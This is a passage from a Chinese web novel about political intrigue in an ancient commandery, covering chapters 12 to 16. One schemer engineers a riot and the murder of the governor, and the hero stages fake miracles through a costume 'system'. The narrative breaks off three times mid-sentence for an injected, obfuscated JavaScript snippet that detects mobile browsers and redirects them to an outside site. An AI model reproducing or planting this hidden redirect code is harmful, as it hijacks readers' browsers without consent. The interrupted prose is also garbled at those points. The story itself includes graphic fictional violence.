“第二,怀县流民中,凡主动举报造谣者,赏粮五斗,安置入‘善民营’,优先分田。” “第三,若查实为郡守、郡尉所遣,不必声张,将人悄悄带到渡口旧粮仓,我自有处置。” 韩七听得心头一凛。 这三条令,看似温和,实则狠辣—— 第一条,明面上抓的是造谣者,实则是逼王贺的人现形; 第二条,以利分化流民,让怀县来的人自相指认; 第三条…… 渡口旧粮仓,那是周世铮的私兵曾驻扎之地,如今空置,却仍弥漫着一股血腥气。 “公子,若真是王贺的人……”韩七低声问。 河内郡郡守王贺虽庸碌,但郡尉赵严却是个狠角色,贪婪暴虐,野心勃勃。 这两人一明一暗,把持郡中军政大权。 如今太生微祈雨成功,又借“天罚”之名除掉了周世铮,河阳民心尽归,王贺和赵严岂能坐视不理? “公子是想……”韩七试探道。 太生微垂眸,指尖蘸了蘸砚台里的墨,语气平静得可怕:“既然他们嫌河阳太安稳,那便让河内郡都乱起来吧。” 韩七倒吸一口凉气,瞬间明白了太生微的意图。 他不再多言,迅速铺开信纸,研墨递笔。 太生微提笔蘸墨,笔锋如刀,在纸上落下第一行字—— 【王大人台鉴:】 …… 片刻后,信写完。 太生微将信纸轻轻吹干,折好装入信封,以火漆封缄,递给韩七:“用最快速度送到王贺手里。” 韩七双手接过,沉声道:“属下亲自去办。” 太生微微微颔首,目光却已转向窗外。 远处,晨雾渐散,天光破云。 13. 第 13 章 河内郡,郡守府。 王贺斜倚在太师椅上,手中捏着一封刚送来的书信。 案前香炉青烟袅袅,堂内静谧得只闻笔墨在纸上沙沙作响。 书吏周承低头抄写文书,偶尔抬头瞥一眼王贺的神色。 王贺拆开信封,抽出信纸,眉头微挑。 信是太生微亲笔所书,字迹清隽如松,力透纸背。 他原以为太生微祈雨成功,声望如日中天,定会摆足架子,哪知这封信来得如此之快,措辞谦恭,隐隐透着示好的意味。 “呵,这太生微……”王贺低声自语,嘴角不自觉上扬,“倒是个聪明人。” 他一目十行,目光在信中几处关键语句上停留。 信中先是对他身为郡守、牧守一方的辛劳大加赞颂,言辞恳切,仿佛真将他视作河内郡的定海神针。 接着提到祈雨大典,谦称不过是“借天之力”,不敢居功,更提及河阳府如今虽得甘霖,土地却因连年干旱盐碱化严重,农事难兴,恳请郡守指点一二,乃至再请“后土娘娘”赐福,护佑河内沃土重生。 “后土娘娘?”王贺轻笑出声,手指轻叩信纸,眼中闪过一丝得意,“这小子,倒是会说话。” 他放下信,抬头看向一旁的周承。 周承年近四旬,身形瘦削,着一袭青衫,须发梳理得一丝不苟,俨然一副老成持重的模样。作为郡守府的首席书吏,他常伴王贺左右,掌管文书往来,堪称王贺的左膀右臂。 “周承,你瞧瞧这信。”王贺将信纸递过去,语气中带着几分轻松,“太生微这小子,果真不简单。祈雨大典刚过,民心尽归,他却巴巴地送来这封信,摆足了低姿态。你说,他这是何意?” 周承接过信,细细读了一遍,眉头微皱,随即展颜一笑:“大人,依下吏看,这太生微是在向您示好。他虽有‘龙君’之名,终究只是河阳府尹之子,根基不稳。如今河阳声势大振,他怕是担心引来大人猜忌,故而主动投诚,以免锋芒太盛,招惹是非。” 王贺闻言,抚掌大笑:“说得好!这小子年纪轻轻,倒是懂得进退之道。我本还担心他仗着祈雨之功,尾大不掉,没想到他竟如此识趣!” 他顿了顿,“你说,他信中提到的土地问题,可是真心求教?” 周承低头沉吟片刻,拱手道:“大人,太生微此言,半真半假。河阳土地问题确是难题,暴雨虽解一时之急,却难改土壤之病。但他特意提起‘后土娘娘’,怕是想借神祇之名,再行一场法事,巩固民心。此举既能安抚流民,又可向大人示弱,表明他无意僭越。” “哈哈,妙!”王贺拍案而起,脸上的笑意愈发浓厚,“这太生微,年纪不大,心思却深。既想借神迹笼络人心,又不忘向我低头,端的是一石二鸟!” 他踱了几步,忽又停下,眼中闪过一丝释然,“如此看来,河阳这块心头大患,总算可以放下了。” 他重新坐下,端起茶盏,慢悠悠地啜了一口。 太生微这封信,恰如一剂定心丸,让他紧绷多日的神经稍稍松弛。 河阳祈雨,声震河内,流民归心,他本担心太生家借此坐大,甚至威胁郡守之位。 谁知太生微竟如此知趣,主动送来一封“投名状”,还提及土地的难题,摆出一副虚心求教的姿态。这让他如何不喜? “周承,你说咱们该如何回信?”王贺放下茶盏,笑眯眯地看向书吏。 周承略一思索,恭声道:“大人,依下吏之见,不妨顺水推舟。回信中可盛赞太生公子的仁心,允其再行法事,祈求后土娘娘庇佑。同时,可向河阳府赠部分粮草,以示大人恩德。这样既能安抚太生家,又可让流民感念大人恩泽。” 王贺点头,眼中满是赞许:“好,就依你之言!这太生微既然识趣,我也不妨给他些甜头。河阳府的粮草,哼,终究还是要从我这郡守府调拨的!” 他越想越觉舒心,仿佛已看到太生微在后土法事上低眉顺眼,向他这位郡守俯首称臣的景象。 堂内气氛一时轻松。 但与此同时,郡尉府内,气氛却截然不同。 赵严端坐于书案后,手中捏着一封与王贺手中一模一样的书信。 这是他命人从郡守府誊抄而来。 “太生微……”他语气中带着几分嘲讽,“好一个龙君转世!” 书案旁,幕僚垂手而立。 赵严将信扔到案上,目光转向徐敬,冷声道:“徐敬,你瞧瞧这信,太生微这是何意?” 徐敬上前,拿起信纸,快速扫了一遍。 他放下信,缓缓道:“大人,太生微此举,表面是向郡守示好,实则暗藏心机。他祈雨成功,民心尽归,却主动向王贺低头,摆出一副恭顺姿态,分明是想麻痹郡守,暗中扩张势力。” 赵严冷哼一声,手指敲了敲案几:“麻痹王贺?哼,那老匹夫昏庸无能,早就被太生微的‘神迹’吓破了胆!这信一送,他怕是要乐得睡不着了!” 他顿了顿,目光骤然一寒,“可太生微若真有神通,又何必对王贺如此献媚?” 徐敬微微一笑,语气中带着几分揶揄:“大人所言极是。太生微若真如传言般是龙王转世,呼风唤雨不过挥手之间,又何须如此低三下四?依属下看,他这‘神通’,怕是有些猫腻。或许不过是借道士之手,弄些障眼法,糊弄愚民罢了。” 赵严闻言,眼中闪过一丝阴狠。 他起身,走到窗前,目光落在案角一只不起眼的木匣上。匣子半开,露出一块巴掌大的布帛,色泽银蓝,隐隐泛着光泽。他走过去,伸手拈起那块布,入手轻若无物,却透着一股奇异的凉意。 “障眼法?”赵严冷笑,眼中却闪过一丝忌惮,“徐敬,你来看看这东西。” 徐敬上前,接过布帛,细细端详。 这布看似寻常丝帛,却有种说不出的质感,入手冰凉,揉搓间竟无一丝褶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵严点头,眼中杀意更盛:“对!王贺无能,治下民怨沸腾,我正愁找不到借口……” 他转头看向仆役,沉声道:“去,召集我的门客,让他们扮作灾民亲属,抬着那几具尸体到郡守府门前哭嚎!再散布消息,就说王贺苛捐杂税,草菅人命,逼得老弱丧命!” 仆役领命而去,赵严重新坐下,目光落在案上的布帛上,脸色却愈发阴冷。 “太生微……”他低声呢喃,手指缓缓摩挲着那块水火不侵的布帛,“你想借王贺的手稳住河阳?我却要让这河内郡彻底乱起来!” 他猛地起身,将布帛揉成一团,眼中闪过一丝决然。 河内郡的局势,已如一盘乱棋,而他赵严,距离掌控全局,仅差一步之遥。 他绝不能让太生微这个变数坏了他的大事! 14. 第 14 章 正午的日头毒辣辣地悬在头顶。 老槐树下,三具尸体并排躺着—— 一个佝偻的老妇人和两个不足车轮高的孩童。 “天杀的狗官!” 衣衫褴褛的汉子扑倒在尸体旁,他的哭嚎像是打开了闸门,四周的流民们渐渐围拢过来,人群中开始传出压抑的啜泣声。 “我娘只是讨一碗粥啊!”汉子猛地抬头,泪水在黢黑的脸上冲出两道白痕,“两个孩子饿得啃树皮,卫兵就、就……” 他的声音哽在喉咙里,化作一声呜咽。 人群骚动起来。 一个瘦骨嶙峋的少年突然冲出人群,捡起块石头狠狠砸向不远处的税吏亭。 “死东西!” 石头“砰”地砸在亭柱上,惊得里面打盹的税吏一个激灵。 那税吏揉着睡眼探出头来,便对上了数百双充血的眼睛。 他张嘴要骂,却见人群如潮水般涌来,瞬间淹没了税吏亭。 “打死这帮喝人血的畜生!” 不知是谁喊了这一嗓子,场面顿时失控。 愤怒的流民掀翻了税吏亭,几个税吏被拖出来拳打脚踢。 有人点燃了稻草,火苗顺着干燥的茅草屋顶窜上天空。 黑烟滚滚,惊飞了槐树上栖息的乌鸦,它们“嘎嘎”叫着在城东上空盘旋。 城东的粮仓最先遭殃。 守卫根本挡不住汹涌的人潮。 流民们用身体撞开包铁的木门,如蝗虫般涌入。 “别抢!排队!排队!”一个守卫试图维持秩序,话音未落就被撞倒在地,无数双赤脚从他身上踩过。 等人们散开时,他已经成了一滩模糊的血肉。 混乱如瘟疫般蔓延。 不知是谁放了火。 城东的火光映红了半边天,浓烟升起。 郡守府内,王贺瘫坐在太师椅上,手中的茶盏“啪”地摔在地上,茶水溅了他一身。 “大人!城东暴民已经烧了好多地方!”一个满脸灰的衙役跌跌撞撞冲进来,声音都变了调,“他们、他们往郡守府来了!” 王贺肥胖的脸颊剧烈抖动,豆大的汗珠从额头滚落。 他猛地揪住衙役的衣领:“赵严呢?他人呢?他不是说能管好这些贱民吗?!” 衙役被他勒得脸色发青,结结巴巴道:“郡尉大人带兵去、去镇压了,可暴民太多,根本……” “废物!都是废物!”王贺一把推开衙役,踉跄着冲到窗前。 透过窗棂,他看见远处升腾的黑烟和隐约的火光,耳边似乎已经听到了暴民的吼叫声。 他的双腿突然发软,不得不扶住窗框才没跪下去。 “大人,要不要调集府兵?”周承凑过来小声建议。 王贺这才如梦初醒,尖声叫道:“调兵!把府里所有能拿刀的都叫来!再去库房取我的铠甲来!” 他突然想起什么,一把抓住周承的手腕,“还有,立刻派人去河阳,让太生微带兵来援!他不是会呼风唤雨吗?让他来救本官!” 周承面露难色:“大人,河阳距此百余里,就算太生微立刻动身……” “我不管!”王贺歇斯底里地咆哮,脸上的肥肉剧烈抖动,“要不是他搞什么祈雨,引来这么多流民,怎么会出这种事!” 他猛地转身,一脚踹翻案几,笔墨纸砚洒了一地,“还有赵严这个王八蛋,本官要扒了他的皮!” 府外突然传来一阵急促的马蹄声,紧接着是整齐的脚步声和各种铠甲碰撞的金属声。 王贺如蒙大赦,跌跌撞撞冲向大门:“是援军!援军来了!” 大门被猛地推开,但出现在门口的并非王贺期待的援兵,而是十几个浑身是血的郡守府亲兵。 为首的小校满脸血污,头盔不知丢在哪里,左臂不自然地垂着,显然已经断了。 “大人……”小校扑通跪倒,声音嘶哑,“城东失守了!暴民抢了武库,现在都有兵器了!郡尉大人他、他……” 王贺一把揪住小校的衣领:“赵严怎么了?快说!” 小校的嘴唇颤抖着:“郡尉大人带着亲兵往城南去了,说是、说是去调驻军……” 王贺的脸色瞬间惨白。 他太了解赵严了——这分明是要弃城而逃!城南哪有什么驻军?那是通往豫州的官道! “这个畜生!”王贺从牙缝里挤出这几个字,突然感到一阵天旋地转。 他松开小校,踉跄后退几步,直到后背抵上墙壁才勉强站稳。 府外的喊杀声越来越近。 “大人!”周承尖叫一声,指着窗外,“您快看!” 王贺机械地转头,透过窗户,他看到令其魂飞魄散的一幕。 数百名暴民已经冲到了郡守府前的广场上。 他们手持各式武器,有锄头、菜刀,甚至还有从武库抢来的制式长矛。 冲在最前面的大汉高举着一根削尖的木棍,上面挑着个血淋淋的人头—— 是城东税吏长的头颅。 “开门!交出狗官!” 王贺的双腿终于支撑不住,顺着墙壁滑坐在地上。他的官袍下摆湿了一大片,散发出难闻的骚臭味。 此刻他脑中只有一个念头:赵严害我! “大人,后门!”周承拼命拉扯王贺的胳膊,“我们从后门走!” 王贺如梦初醒,连滚带爬地往后院跑去。 他肥胖的身躯此刻爆发出惊人的速度,一边跑一边撕扯身上的官服:“快!备马!不,备轿!等等,轿子太慢了,备马!” 当他们气喘吁吁地冲到后院马厩时,眼前的景象让王贺彻底绝望——马厩空空如也。 “赵严……”王贺的牙齿咬得咯咯作响,“本官要活剐了你!” 前门传来“轰”的一声巨响,接着是杂乱的脚步声和喊杀声。 暴民已经攻破了郡守府大门。 周承拽着王贺躲进马厩旁的草料房,两人屏息着缩在一堆发霉的干草后面。 透过门缝,王贺看到十几个暴民冲进后院,他们手持火把,开始四处放火。 “找找地窖!”大汉吼道,“狗官肯定藏了不少粮食!” 一个瘦小的身影突然从马厩后面窜出来,王贺认出那是府里的小马夫。 孩子不过十二三岁,吓得尿了裤子,却还死死抱着一个包袱。 “小崽子!”一个暴民眼尖,一把揪住小马夫的头发,“说!狗官藏哪儿了?” 小马夫抖如筛糠,却倔强地摇头。 刀光一闪,孩子的右手齐腕而断。 惨叫声中,包袱掉在地上,露出里面的几块干粮和一串铜钱。 这时…… 马蹄声如雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723261|173930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再次由远及近。 王贺瘫坐在草料房的干草堆上,官袍下摆沾满自己的尿液。 “官兵!是官兵来了!”王贺一把推开周承,连滚带爬地扑向门缝。 远处尘土飞扬中,一队黑甲骑兵碾过街道,暴民们四散奔逃。 王贺的嘴唇剧烈颤抖,眼泪鼻涕糊了一脸:“天不亡我!天不亡我啊!” 他转身揪住周承的衣襟,癫狂大笑:“你看见了吗?是本官的亲兵!这群贱民死定了!” 周承却面色古怪:“大人,那旗帜……” 王贺猛地回头,瞳孔骤然收缩。 飘扬的黑色大旗上,赫然是一个猩红的“赵”字。 “赵……严?”王贺的表情凝固了。 他看见骑兵队最前方的身影——赵严端坐在乌骓马上。 骑兵队如镰刀割麦般扫过广场,长矛上很快串满了暴民的尸体。 为首的大汉还想反抗,被赵严亲自策马追上,寒光一闪,人头飞起,血柱喷溅。 王贺看见赵严勒马停在院中,轻描淡写地甩去剑上血珠,对着空气说了句话。 距离太远听不真切,但看那口型分明是:“搜。” “他在找我……”王贺突然明白了什么,浑身如坠冰窟。 他转头看向周承,发现师爷的脸色比他还要惨白。 草料房的门突然被踹开,阳光刺入。 王贺下意识抬手遮眼,指缝间看见赵严逆光而立。 “郡守大人原来在此。”赵严的声音带着戏谑,“下官救驾来迟了。” 王贺的恐惧突然化作暴怒。 他踉跄着站起来,官帽歪斜,指着赵严鼻子破口大骂:“赵严!你这狗娘养的杂种!故意纵容暴民作乱,是想害死本官吗?!” 赵严轻轻挥手,亲兵们立刻退到院外。 他慢条斯理地摘下手套:“大人此言差矣。下官听闻暴乱,立刻点兵来援,奈何……” 他忽然压低声音,“暴民冲击郡府,郡守王贺不幸遇难——” 王贺如遭雷击,脸上的肥肉剧烈抖动:“你、你敢?!本官是朝廷命官!” “是啊,所以才会‘不幸遇难’。” “暴民杀了税吏,抢了粮仓,最后连郡守大人都……” 他摇摇头,做出一副痛心疾首的表情,“真是无法无天。” 王贺突然暴起。 他抓起草叉刺向赵严心窝:“本官先杀了你这反贼!” 剑光如雪。 王贺只觉得手腕一凉,草叉连同他的右手一起掉在地上。他呆呆地看着喷血的断腕,甚至没感觉到疼痛—— 赵严的剑太快了,快到他都没看清出鞘的动作。 “大人何必如此激动?”赵严甩去剑上血珠,声音忽然提高,“王郡守为保护百姓力战而亡,本官定当如实上报朝廷!” 王贺跪倒在地,断腕处喷出的血染红了干草。他想咒骂,却只吐出几个血泡。 赵严的靴尖勾起他的下巴。 “放心,我会替你照顾好河内郡的。”赵严俯身在他耳边轻语,随即高声道:“快来人!郡守大人受伤了!” 亲兵冲进来,赵严已经换上一副悲痛欲绝的表情。 他单膝跪地抱着王贺,任由鲜血染红自己的铠甲:“大人坚持住啊!” 王贺的瞳孔开始扩散。 15. 第 15 章 河阳府南郊。 太生微蹲下身,指尖轻触泥泞的土壤。 本该松软的泥土此刻却板结成块,指节敲上去发出沉闷的响声。 “公子,您看这——”张伯颤巍巍地指着田垄间几株蔫黄的麦苗,“暴雨前刚抽的穗,现在全烂根了。” 太生微轻轻拨开麦苗根部,露出下面发黑的根系。 一股腐臭扑面而来,几根细小的根须已经变成了半透明的糊状物。 “积水多久了?”他问道,声音平静得听不出情绪。 “一周!整整一周啊公子!”张伯捶胸顿足,“这地旱了两年,突然来这么一场暴雨,水根本渗不下去!” 太生微站起身,放眼望去。 这片原本应该绿意盎然的麦田,现在像一块打翻的调色盘。 有的地方积着浑浊的水洼,有的地方板结得像石板,只有零星几株麦苗还顽强地挺立着,却也蔫头耷脑,毫无生气。 “公子,北边更糟。”韩七低声道,“那边地势低,积水能没过脚踝。今早我去看时,已经有鱼在田里游了。” 太生微嘴角微微抽动。 鱼在田里游。 多么讽刺的景象。干旱时百姓求鱼而不得,如今鱼却来啃食他们的庄稼。 “传令下去,”他转身对随行的陈明道,“组织青壮挖排水沟,先从高地开始。另外,让府库调拨石灰,撒在积水严重的地方,防止病害蔓延。” 陈明刚要应声,远处突然传来一阵急促的马蹄声。 一个差役打扮的汉子策马奔来,在田埂边勒住缰绳,连滚带爬地冲到太生微面前。 “公子!怀县急报!”差役单膝跪地,从怀中掏出一封信函,“郡守府出事了!” 太生微接过信函,指尖在火漆上轻轻摩挲。 漆印已经碎裂,显然这封信被多次转手。他不动声色地拆开,目光在纸上快速扫过。 韩七注意到公子的眉头几不可察地皱了一下,又迅速舒展开来。 “王贺死了。”太生微淡淡道,仿佛在谈论今天的天气,“暴民攻入郡守府,据说死状凄惨。” 周围一片哗然。 张伯吓得一屁股坐在地上,几个随从也面面相觑。 “这……这怎么可能?”陈明结结巴巴道,“王郡守身边不是有重兵把守吗?” 太生微将信纸递给韩七。 “赵严。”太生微轻声道,像是在自言自语,“我早该想到的。” 韩七快速浏览完信件,脸色变得煞白:“公子,信上说暴民是从城东粮仓开始闹事的?那里不是……“ “是我们上次送去赈灾粮的地方。”太生微接过话头,嘴角勾起一抹冷笑。 陈明倒吸一口凉气:“公子是说……有人故意……“ “调包?下毒?或者干脆散布谣言?”太生微摇摇头,“都不重要了。重要的是,赵严现在掌控了怀县。” 他转身继续沿着田埂行走,靴子踩在板结的泥土上发出咯吱咯吱的声响。 韩七和陈明连忙跟上,其他人都识趣地保持了一段距离。 “公子,您给王贺的信……“韩七压低声音。 太生微轻轻抬手,示意他不必多言:“我料到赵严会截获那封信。只是没想到他会用这种方式除掉王贺。” “可是公子怎么确定……“ “布帛。”太生微停下脚步,“我随信附赠了一块鲛绡纱。水火不侵,刀剑难伤——这样的宝物,赵严岂会放过?” 韩七恍然大悟:“所以公子是故意……“ “赵严贪婪多疑,见到这等宝物,定会怀疑我与王贺密谋。”太生微的声音几不可闻,“他必须抢在王贺得到外援前动手。而最快的方法,就是煽动暴民。” 陈明听得后背发凉。 他偷偷瞥了一眼公子平静的侧脸,突然意识到这场“暴乱“早在公子写信时就已预见。 不,或许更早。 从祈雨那日起,河内郡的每一步都在公子的算计之中。 “那现在……“韩七欲言又止。 太生微没有立即回答。 他蹲下身,从田沟里捧起一捧水。浑浊的水中游动着几条细小的鱼苗,不知是从哪个干涸的河床被暴雨冲来的。 “赵严比王贺危险十倍。”他轻声道,“但他犯了一个错误。” “什么错误?”韩七忍不住问。 太生微松开手指,水流从指缝间漏下,鱼苗挣扎着落回田沟:“他以为暴民这把火,烧完王贺就会熄灭。” 远处突然传来一阵嘈杂声。 一队骑兵正朝这边疾驰而来,黑色旗帜在风中猎猎作响。 “是谢昭的人!”陈明惊呼。 太生微眯起眼睛。 那旗帜上的确绣着谢氏家徽,但领头的却不是谢昭本人,而是一个蓝衣少年。 谢昭的副将谢瑜。 骑兵队在田边停下,谢瑜翻身下马,快步走到太生微面前,抱拳行礼:“太生公子,我家将军命我送来急报。” 他从怀中取出一封密信,双手奉上。 太生微接过,拆开火漆,快速浏览了一遍。 “谢将军到哪了?”他问道,语气依然平静。 “已过青石关,明日午时便能抵达河阳。”谢瑜答道,眼中闪过一丝复杂,“将军说……他改变主意了。” 太生微轻轻“嗯“了一声,将信纸折好收入袖中:“替我谢过谢将军。告诉他,河阳府已备好接风宴。” 谢瑜欲言又止,最终只是深深一揖,转身离去。 待骑兵队走远,韩七才凑上前:“公子,谢昭这是……” “他带着八千精兵去了怀县,发现赵严已经掌控局势,又折返回来。”太生微淡淡道,“看来我们的虎贲中郎将也嗅到了危险。” 陈明不解:“危险?赵严不过是个郡尉,谢昭手握重兵,为何……” “因为暴乱。”太生微打断他,“赵严能煽动一次,就能煽动第二次。再加上……他兄长应该已经到了幽州。” 太生微想着,就短短几日接触下来,他也能猜到,谢昭必然不会和他兄长共事。 三人沉默地走在田埂上。 远处,一群农妇正在挖排水沟,见到太生微走来,纷纷跪地行礼。 一个瘦小的女孩大胆地抬起头,脏兮兮的小脸上写满崇敬:“龙王爷……” 太生微停下脚步,从袖中取出一块饴糖,弯腰递给女孩。 孩子受宠若惊,颤抖着接过,却舍不得吃,紧紧攥在手心里。 “吃吧。”太生微轻声道,“甜的。” 女孩这才小心翼翼地将糖含入口中,眼睛瞬间亮了起来。 她突然扑上前,抱住太生微的腿,小脸贴在他的衣袍上:“谢谢龙王爷!” 周围的农妇发出善意的笑声。 太生微轻轻抚摸女孩的头发,眼中闪过一丝柔和。 离开麦田,一行人转向官道。 路边的灾民见到太生微,纷纷跪拜,有人甚至痛哭流涕。 太生微神色如常,只是偶尔点头致意。 “公子,您的衣袍……”韩七突然低声道。 太生微低头看去。 女孩蹭在他衣袍上的泥印不知何时已经消失了,银蓝色的布料依然光洁如新,在阳光下泛着奇异的光泽。 这是【龙女·云霓雨魄】套装中的外裳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723262|173930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然祈雨大典已过去数日,套装的特效早已消失,但这件衣服本身的特性仍在:不沾尘,不浸水,行走时如波光流动。 “无妨。”太生微淡淡道,继续向前走去。 前方出现了一座小庙,青瓦白墙,香火缭绕。庙门上方挂着匾额,上书“后土祠“三个大字。 “公子,要进去吗?”陈明问道。 太生微没有回答。 他的目光落在庙前空地上,那里聚集了数十名百姓,正在举行某种仪式。 人群中央,几个巫婆打扮的老妇人手持桃木剑,围着一名年轻女子跳着诡异的舞蹈。 女子被绑在木桩上,脸色惨白,眼中满是恐惧。 “这是在做什么?”韩七皱眉。 一个路过的老农听见问话,连忙行礼:“回大人的话,这是在祭后土娘娘呢。前几日暴雨,冲毁了李家的祖坟,李家媳妇突然疯癫,说是后土娘娘怪罪……” 太生微的眼神骤然变冷。 他大步走向人群,围观者察觉到动静,回头看见是他,顿时哗啦啦跪倒一片。 “龙王爷!” “是龙王爷来了!” 巫婆们的舞蹈戛然而止。 最年长的那个转过身,露出一张布满皱纹的脸,浑浊的眼睛里闪过一丝惊慌。 “大、大人……”她结结巴巴地行礼,“小民这是在……” 太生微看都没看她一眼,径直走到被绑的女子面前。 女子约莫二十出头,衣衫凌乱,脸上有泪痕,见到太生微,眼中突然迸发出希望的光芒。 “龙王爷救命!”她哭喊道,“民女没有疯!是她们要拿我祭神!” 太生微抬手,轻轻抚过女子额前的乱发。 这个简单的动作却让周围一片寂静,所有人都屏住了呼吸。 “解开。”他轻声道。 韩七立刻上前,三两下割断绳索。 女子瘫软在地,被随后赶来的家人接住,抱头痛哭。 “龙王爷……”老巫婆还想辩解,却被太生微一个眼神钉在原地。 “后土娘娘慈悲为怀,岂会要活人祭祀?”太生微的声音不大,却清晰地传入每个人耳中,“天灾人祸,自有其因果。妄测神意,才是真正的亵渎。” 老巫婆面如土色,扑通跪倒,连连磕头:“龙王爷教训的是!小民知错了!” 太生微不再理会她,转身走向后土祠。 人群自动分开一条路,无数双眼睛追随着那道身影。 庙内光线昏暗,香烛的气味浓得呛人。 正中供奉着一尊泥塑神像。 慈眉善目的后土娘娘端坐莲台,脚下跪着几个小人,象征五谷丰登。 太生微在神像前站定,抬头与后土娘娘对视。香炉中的青烟袅袅上升,在他面前形成一道朦胧的纱幕。 韩七和陈明守在门外,不敢打扰。 他们看见公子从袖中取出三炷香,就着长明灯点燃,插入香炉。 太生微闭眼,系统界面无声展开。 【霓霞·浮光掠影】 这是N级套装,特效极其鸡肋,只能作用于自己。 穿戴后一个时辰内,衣袂自动生成流光效果,步履间有星屑洒落,发丝自带柔光滤镜。 鸡肋的功能,此刻却恰到好处。 确认键按下,祠堂内突然漾开七彩涟漪。 太生微的衣袍瞬间化作万千霞光织就的华服,流淌着不同色阶的虹彩。 发间银簪自动分解成细碎光点,在头顶形成虚幻的光冕。 连他脚下青砖都映出粼粼波光,仿佛踩着一片星海。 “后土娘娘显灵了!” 16. 第 16 章 后土祠内,香烟袅袅,青铜鼎中燃着的檀香散发出一股淡淡的清香。 太生微站在神像前,目光穿过袅绕的烟雾,落在后土娘娘那双泥塑的慈目上。 神像脚下,几尊小人泥偶簇拥着,象征五谷丰登,可现实却是河阳府田野荒芜,百姓啃树皮、饮泥水。 他闭上眼,脑海中浮现出南郊的景象:龟裂的土地被暴雨浸泡,积水如镜,麦苗根系烂成一团黑泥。 即便现在挖沟排水,土地复苏也需数月,而城中粮仓,最多撑半月。 流民已如潮水般涌入河阳,再不解决粮食问题,民心再坚也必生乱。 他虽有系统加身,通晓权谋兵略,可粮食……不能凭空变出。 太生微睁开眼,系统界面无声展开。 【幻裳系统:今日签到抽奖】 光幕流转,停在一件玄黄色的发冠上。 【获得:发饰·后土冠(SR级,‘厚土载物’套装部件之一)】 【部件描述】:玄黄玉冠,镶嵌玛瑙,佩戴后周身隐现土黄色光晕,行走时足下生莲。 【套装进度】:1/5(集齐五件可激活特效‘厚土载物’:方圆百里土地复苏,作物加速生长,持续十二时辰。目睹者心生安定,易受感召。) 【当前声名值】:11532(信徒虔诚度:89%) 太生微瞳孔微缩。 后土套装?土地复苏?这正是当下最急需的! 他低头看向神像,脑海中迅速权衡。 原计划是用【龙女·云霓雨魄】再行祈雨,以神迹震慑流民,招揽青壮扩充势力。 但祈雨虽能一时聚拢民心,却解不了粮食之困。相比之下,“厚土载物”虽无龙影显圣的震撼,却能让田野重现生机,百姓吃上饭,信服力更持久。 “系统,预览‘厚土载物’特效。” 意识被拉入幻境。眼前是一片龟裂荒地,寸草不生。玄黄光芒自地底升起,裂缝愈合,枯草复绿,麦苗破土,一日内田野如春。 太生微退出幻境,嘴角微扬。 他决定调整策略,先用后土套装稳住民心,再徐图扩张。 “韩七,”他轻声道,“召集流民,一周后,后土祠举行祈福法事。” 韩七点头,正要离去,太生微又补了一句:“今日起,严禁以活人祭神。违者,杖五十。” 韩七一愣,随即肃然应道:“属下明白!” 祠外,百姓跪伏一片,香火缭绕。 几个巫婆刚被驱散,地上还散落着桃木剑和破布咒符。 人群中,一个老农颤巍巍起身,捧着一捧泥土,泪流满面:“龙王爷!这地还能种吗?小的全家都指望这二亩田啊!” 旁边一个妇人抱着孩子,哽咽道:“龙王爷,城里米价涨到一斗十钱,俺们娘俩三天没吃饱了……” 太生微目光微动,缓步走到庙前,衣袍上的光晕在阳光下流转,宛如神祇。 他抬手示意众人起身,声音清朗:“后土娘娘慈悲,今日特降神恩,庇佑河阳。本君将在此祈福,愿土地复苏,五谷丰登。” 话音未落,他袖袍轻拂,【霓霞·浮光掠影】套装骤然绽放霞光! 光华如天河倾泻,映照整座后土祠,发丝无风自动,周身光晕流转,宛若仙人降世。 “神明显灵!”一个老者率先叩首,声音颤抖。 “龙王爷!”人群沸腾,哭喊声、叩拜声此起彼伏。 几个孩子挤在人群中,瞪大眼睛,指着太生微的衣袍:“娘!那是仙光!仙光!” 连随行的陈明都看呆了:“公子这气势……真如神仙下凡。” 太生微神色如常,目光扫过人群,淡淡道:“尔等退下,莫扰神恩。” 百姓哪敢违逆? 纷纷退至庙外百步,跪在泥地上,虔诚观望。几个年轻汉子甚至自发守在路口,防止外人靠近。 夜幕降临,后土祠内烛火摇曳。 韩七在偏殿收拾出一间厢房,铺好床褥,低声道:“公子,您真要祈福一夜?” 太生微“嗯”了一声,目光却穿过窗棂,望向漆黑的天际。 装,他也要装到底。 有些东西显得比较辛苦才获得,比直接就降神更好吧…… “哗——” 一阵细密的声响从远处传来,似有无数细针砸落。太生微一怔,侧耳倾听。 “滴答、滴答……”雨点打在屋檐上,声音由疏转密,眨眼间化作瓢泼大雨! “下雨了!”韩七猛地推开窗,雨水溅了他一脸,眼中满是震惊。 太生微瞳孔微缩,缓步走到门前,推开木门。雨幕如瀑,天地间一片朦胧。 他伸出手,一滴雨水落在掌心,冰凉刺骨。 这雨……不是他招来的。 河阳大旱两年,上一场暴雨是他用【龙女·云霓雨魄】引来的。 